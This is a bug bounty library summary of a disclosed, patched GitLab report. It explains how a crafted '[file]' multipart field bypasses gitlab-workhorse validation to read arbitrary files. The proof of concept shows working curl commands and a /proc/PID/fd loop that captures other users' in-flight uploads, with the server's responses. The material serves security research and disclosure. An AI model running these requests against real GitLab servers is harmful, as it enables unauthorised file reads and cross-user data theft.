# gitlab-workhorse bypass in Gitlab::Middleware::Multipart allowing files in `allowed_paths` to be read

Crafted multipart field name `[file]` bypassed gitlab-workhorse signed-field validation, letting an attacker set arbitrary `file.path` and read any file in allowed upload paths, including other users' in-flight uploads via /proc/PID/fd.

- Payout: $10,000
- Severity: critical
- Program: GitLab
- Found by: vakzz
- Disclosed: 2020-06-08
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/850447
- Library page: https://bugbountylibrary.com/r/h1%3A850447
- Tags: area:web domain:web impact:data-leak impact:pii-leak kind:bounty platform:hackerone sev:critical tech:ruby technique:chained technique:param-pollution vuln:access-control vuln:info-disclosure

**Target:** GitLab Rails Multipart middleware / gitlab-workhorse accelerated upload endpoints (wiki attachments, nuget packages, uploads)
**Root cause:** Gitlab::Middleware::Multipart parses the workhorse-signed field name with Rack::Utils.parse_nested_query, so a field named `[file]` yields `{"file"=>nil}` which passes validation, but the handler then trusts attacker-supplied query params (e.g. `file.path`) instead of the workhorse payload.
**Steps:**
1. Create project and wiki page; obtain API token.
2. Create dummy file `/tmp/lala.txt` on attacker host.
3. Send `curl -g -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'`
4. Response returns file_path under uploads/; paste markdown into wiki and download to read target file.
5. For in-flight files: loop `/proc/PID` until a `cwd` is found and readable by `git`, then traverse `/proc/PID/cwd/../../../../../...`, then loop `file.path=/proc/PID/fd/44` while uploading a bunch of things, eventually a file will be stolen.
**How found:** While reviewing the patch for a prior nuget workhorse bypass, noticed the signed `rewritten_fields` key was parsed with parse_nested_query; hypothesized that a bracketed field name would collapse to nil and pass validation while query params override the payload, then tested on wiki/nuget endpoints.
**Exploitation:** Attacker with any authenticated account hits accelerated-upload endpoints (wiki attachments, nuget, uploads) with a multipart field literally named `[file]`/`[package]` plus a query param `file.path`/`package.path` pointing at a target path. Workhorse signs the rewritten field, Rails parses it to nil, validation passes, and the handler uses the attacker's query param as the source path. Wiki endpoint reads file content via `attrs[:file].read` so no ownership restriction; /proc/PID/fd symlinks allow stealing other users' in-flight uploads.
**Escalation:** Chained path traversal through /proc/PID/cwd to reach allowed roots, then /proc/PID/fd/NN to capture other users' concurrent uploads (cross-tenant data theft).
**Insight:** When a proxy signs a field name and the backend re-parses it with a nested-query parser, bracketed names like `[file]` collapse to nil and can pass presence checks while attacker query params win — audit any signed-field validation that re-parses names. Also /proc/PID/fd symlinks turn any arbitrary-file-read into theft of other users' in-flight uploads.

## Proof of concept (copied exactly from the original report)

**Wiki attachment upload reading arbitrary file via [file] field**

```
curl -g -XPOST -v -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/tmp/ggg' -F '[file]=@/tmp/lala.txt'

{"file_name":"ggg","file_path":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","branch":"master","link":{"url":"uploads/58ec1627b3f14eba0a16659fd859da63/ggg","markdown":"[ggg](uploads/58ec1627b3f14eba0a16659fd859da63/ggg)"}}
```

**Nuget package upload reading /tmp/ggg via [package] field**

```
curl -XPUT -v -F '[package]=@/tmp/lala.txt' "http://vakzz:$TOKEN@gitlab-vm.local/api/v4/projects/171/packages/nuget/?package.path=/tmp/ggg"

{"message":"201 Created"}
```

**Steal inflight tmp files via /proc/PID/fd loop**

```
while true; do curl -s -XPOST -H "Authorization: Bearer $TOKEN" 'http://gitlab-vm.local/api/v4/projects/171/wikis/attachments?file.path=/proc/19603/fd/44' -F '[file]=@/tmp/lala.txt'| grep file_name; done

1. Upload a bunch of things, eventually a file will be stolen:

{"file_name":"image.png115893730","file_path":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","branch":"master","link":{"url":"uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730","markdown":"[image.png115893730](uploads/232bcab08d5dcc29cc45c9fa1e868484/image.png115893730)"}}
```

